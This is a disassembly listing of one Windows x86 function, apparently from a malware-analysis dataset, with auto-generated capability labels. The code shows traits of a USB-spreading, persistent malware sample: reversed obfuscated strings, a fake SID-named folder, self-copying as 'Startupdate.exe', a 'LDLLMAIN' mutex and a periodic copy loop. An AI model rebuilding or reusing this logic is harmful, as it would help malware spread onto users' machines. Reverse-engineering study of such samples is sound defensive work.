Function at 0x403180
Capabilities:
Check mutex on windows
Create process on windows
Get common file path

Disassembly:
mov eax, 0x10a8
call fcn.00403d10
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x10a4], eax
push ebx
push ebp
push esi
push edi
push 0x206
xor ebp, ebp
lea ecx, [esp + 0x89a]
xor eax, eax
push ebp
push ecx
mov word [esp + 0x8a0], ax
call fcn.00403bf0
push 0x206
lea eax, [esp + 0x28e]
xor edx, edx
push ebp
push eax
mov word [esp + 0x294], dx
call fcn.00403bf0
push 0x206
lea edx, [esp + 0xaba]
xor ecx, ecx
push ebp
push edx
mov word [esp + 0xac0], cx
call fcn.00403bf0
push 0x206
lea ecx, [esp + 0x4ae]
xor eax, eax
push ebp
push ecx
mov word [esp + 0x4b4], ax
call fcn.00403bf0
push 0x206
lea eax, [esp + 0x6c2]
xor edx, edx
push ebp
push eax
mov word [esp + 0x6c8], dx
call fcn.00403bf0
push 0x208
lea ecx, [esp + 0xb4]
push ebp
push ecx
call fcn.00403bf0
mov ebx, dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
add esp, 0x48
push ebp
push 0x1c
lea edx, [esp + 0x7c]
push edx
push ebp
call ebx
lea edi, [esp + 0x74]
add edi, 0xfffffffe
lea ecx, [ecx]
mov ax, word [edi + 2]
add edi, 2
cmp ax, bp
jne 0x403260
mov ecx, 0x18
mov esi, str.S_1_5_31_1286970278978_5713669491_166975984_320
rep movsd dword es:[edi], dword [esi]
lea eax, [esp + 0x74]
push eax
movsw word es:[edi], word [esi]
call fcn.00402a80
push 0x208
lea ecx, [esp + 0x89c]
push ebp
push ecx
call fcn.00403bf0
add esp, 0x10
xor eax, eax
lea esp, [esp]
movzx ecx, word [esp + eax + 0x74]
mov word [esp + eax + 0x894], cx
add eax, 2
cmp cx, bp
jne 0x4032a0
lea eax, [esp + 0x894]
add eax, 0xfffffffe
nop
mov cx, word [eax + 2]
add eax, 2
cmp cx, bp
jne 0x4032c0
mov edx, dword [str.dmc]
mov ecx, dword [0x40d60c]
mov dword [eax], edx
mov dx, word [0x40d610]
mov dword [eax + 4], ecx
mov word [eax + 8], dx
lea eax, [esp + 0x894]
push eax
call fcn.00402a80
lea edi, [esp + 0x898]
add esp, 4
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
cmp ax, bp
jne 0x403302
mov ecx, dword [0x40d280]
push 0x208
lea edx, [esp + 0x280]
push ebp
push edx
mov dword [edi], ecx
call fcn.00403bf0
add esp, 0xc
xor eax, eax
mov edi, edi
movzx ecx, word [esp + eax + 0x74]
mov word [esp + eax + 0x27c], cx
add eax, 2
cmp cx, bp
jne 0x403330
lea eax, [esp + 0x27c]
add eax, 0xfffffffe
nop
mov cx, word [eax + 2]
add eax, 2
cmp cx, bp
jne 0x403350
mov ecx, dword [str._tlsr]
mov edx, dword [0x40d600]
mov dword [eax], ecx
mov ecx, dword [0x40d604]
mov dword [eax + 4], edx
lea edx, [esp + 0x27c]
push edx
mov dword [eax + 8], ecx
call fcn.00402a80
lea edi, [esp + 0x280]
add esp, 4
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
cmp ax, bp
jne 0x403390
mov eax, dword [0x40d280]
push 0x208
lea ecx, [esp + 0xaa0]
push ebp
push ecx
mov dword [edi], eax
call fcn.00403bf0
add esp, 0xc
xor eax, eax
jmp 0x4033c0
movzx ecx, word [esp + eax + 0x74]
mov word [esp + eax + 0xa9c], cx
add eax, 2
cmp cx, bp
jne 0x4033c0
lea eax, [esp + 0xa9c]
add eax, 0xfffffffe
nop
mov cx, word [eax + 2]
add eax, 2
cmp cx, bp
jne 0x4033e0
mov edx, dword [str.Rotinom]
mov ecx, dword [0x40d5ec]
mov dword [eax], edx
mov edx, dword [0x40d5f0]
mov dword [eax + 4], ecx
mov ecx, dword [0x40d5f4]
mov dword [eax + 8], edx
mov dx, word [0x40d5f8]
mov dword [eax + 0xc], ecx
mov word [eax + 0x10], dx
lea eax, [esp + 0xa9c]
push eax
call fcn.00402a80
lea edi, [esp + 0xaa0]
add esp, 4
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
cmp ax, bp
jne 0x403434
mov ecx, dword [0x40d280]
push 0xd8
mov dword [edi], ecx
call fcn.00403ea9
add esp, 4
mov dword [esp + 0x10], eax
cmp eax, ebp
je 0x40384c
push eax
mov dword [eax], ebp
call fcn.00403870
call fcn.00402220
call fcn.00402490
push 0x208
lea edx, [esp + 0xcac]
push ebp
push edx
call fcn.00403bf0
add esp, 0x10
push 0x104
lea eax, [esp + 0xca8]
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea edx, [esp + 0xca4]
xor ecx, ecx
push edx
mov word [esp + 0xcac], cx
call fcn.00402c10
add esp, 4
test eax, eax
je 0x4034c2
call fcn.00402130
jmp 0x4034c7
call fcn.00402d10
lea eax, [esp + 0xca4]
push eax
call fcn.00402c10
add esp, 4
test eax, eax
je 0x40359d
push 0x40
lea ecx, [esp + 0x28]
push ebp
push ecx
mov dword [esp + 0x2c], ebp
call fcn.00403bf0
push 0x208
lea edx, [esp + 0xebc]
push ebp
push edx
call fcn.00403bf0
add esp, 0x18
push ebp
push 0x1c
lea eax, [esp + 0xeb4]
push eax
push ebp
call ebx
lea edi, [esp + 0xeac]
add edi, 0xfffffffe
mov edi, edi
mov ax, word [edi + 2]
add edi, 2
cmp ax, bp
jne 0x403520
mov ecx, 9
mov esi, str.Startupdate.exe
push 0x44
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x24]
push ebp
push ecx
call fcn.00403bf0
add esp, 0xc
lea eax, [esp + 0x64]
push eax
lea ecx, [esp + 0x24]
push ecx
push ebp
push ebp
push 0x8000020
push 1
push ebp
xor edx, edx
push ebp
mov word [esp + 0x70], dx
push ebp
lea edx, [esp + 0xed0]
push edx
mov dword [esp + 0x48], 0x44
mov dword [esp + 0x4c], ebp
mov dword [esp + 0x7c], ebp
mov dword [esp + 0x50], ebp
mov dword [esp + 0x74], 1
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x40359d
mov eax, 1
jmp 0x403855
push str.LDLLMAIN
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x403853
jmp 0x4035c0
mov esi, dword [esp + 0x10]
push esi
call fcn.00403b60
add esp, 4
cmp dword [esi + 4], ebp
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], ebp
jle 0x403833
mov ecx, esi
lea eax, [esp + 0x74]
sub eax, ecx
sub eax, 8
lea ebx, [ecx + 8]
mov dword [esp + 0x14], eax
push 0x208
lea eax, [esp + 0x78]
push ebp
push eax
call fcn.00403bf0
mov edx, dword [esp + 0x20]
add esp, 0xc
mov eax, ebx
lea esp, [esp]
movzx ecx, word [eax]
mov word [edx + eax], cx
add eax, 2
cmp cx, bp
jne 0x403610
lea edi, [esp + 0x74]
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
cmp ax, bp
jne 0x403626
mov ecx, 8
mov esi, str.Usb_2.0_Driver
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x74]
push ecx
call fcn.00402a80
lea edi, [esp + 0x78]
add esp, 4
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
cmp ax, bp
jne 0x403652
mov ecx, 0x18
mov esi, str.S_1_5_31_1286970278978_5713669491_166975984_320
rep movsd dword es:[edi], dword [esi]
lea edx, [esp + 0x74]
push edx
movsw word es:[edi], word [esi]
call fcn.00402a80
push 0x208
lea eax, [esp + 0x48c]
push ebp
push eax
call fcn.00403bf0
add esp, 0x10
xor eax, eax
mov edi, edi
movzx ecx, word [esp + eax + 0x74]
mov word [esp + eax + 0x484], cx
add eax, 2
cmp cx, bp
jne 0x403690
lea eax, [esp + 0x484]
add eax, 0xfffffffe
nop
mov cx, word [eax + 2]
add eax, 2
cmp cx, bp
jne 0x4036b0
mov ecx, dword [str.dmc]
mov edx, dword [0x40d60c]
mov dword [eax], ecx
mov cx, word [0x40d610]
mov dword [eax + 4], edx
lea edx, [esp + 0x484]
push edx
mov word [eax + 8], cx
call fcn.00402a80
lea edi, [esp + 0x488]
add esp, 4
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
cmp ax, bp
jne 0x4036f2
mov eax, dword [0x40d280]
push 0x208
lea ecx, [esp + 0x690]
push ebp
push ecx
mov dword [edi], eax
call fcn.00403bf0
add esp, 0xc
xor eax, eax
lea ecx, [ecx]
movzx ecx, word [esp + eax + 0x74]
mov word [esp + eax + 0x68c], cx
add eax, 2
cmp cx, bp
jne 0x403720
lea eax, [esp + 0x68c]
add eax, 0xfffffffe
nop
mov cx, word [eax + 2]
add eax, 2
cmp cx, bp
jne 0x403740
mov edx, dword [str._tlsr]
mov ecx, dword [0x40d600]
mov dword [eax], edx
mov edx, dword [0x40d604]
mov dword [eax + 4], ecx
mov dword [eax + 8], edx
lea eax, [esp + 0x68c]
push eax
call fcn.00402a80
lea edi, [esp + 0x690]
add esp, 4
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
cmp ax, bp
jne 0x403780
cmp dword [esp + 0x1c], 1
mov ecx, dword [0x40d280]
mov dword [edi], ecx
jne 0x4037ac
lea edx, [esp + 0xa9c]
push edx
push ebx
call fcn.00402060
add esp, 8
push ebx
call fcn.00401000
push 2
lea eax, [esp + 0x89c]
push eax
lea ecx, [esp + 0x490]
push ecx
push ebx
call fcn.00401330
push 1
lea edx, [esp + 0x49c]
push edx
lea eax, [esp + 0x8b0]
push eax
push ebx
call fcn.00401330
push 8
lea ecx, [esp + 0x2a4]
push ecx
lea edx, [esp + 0x6b8]
push edx
push ebx
call fcn.00401330
push 4
lea eax, [esp + 0x6c4]
push eax
lea ecx, [esp + 0x2b8]
push ecx
push ebx
call fcn.00401330
mov eax, dword [esp + 0x5c]
mov edx, dword [esp + 0x54]
sub dword [esp + 0x58], 8
inc eax
add esp, 0x44
add ebx, 8
cmp eax, dword [edx + 4]
mov dword [esp + 0x18], eax
jl 0x4035f0
mov eax, dword [esp + 0x10]
mov ecx, dword [eax + 4]
push 0x7530
mov dword [eax], ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4035c0
push ebp
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor eax, eax
mov ecx, dword [esp + 0x10b4]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00403be0
add esp, 0x10a8
ret 0x10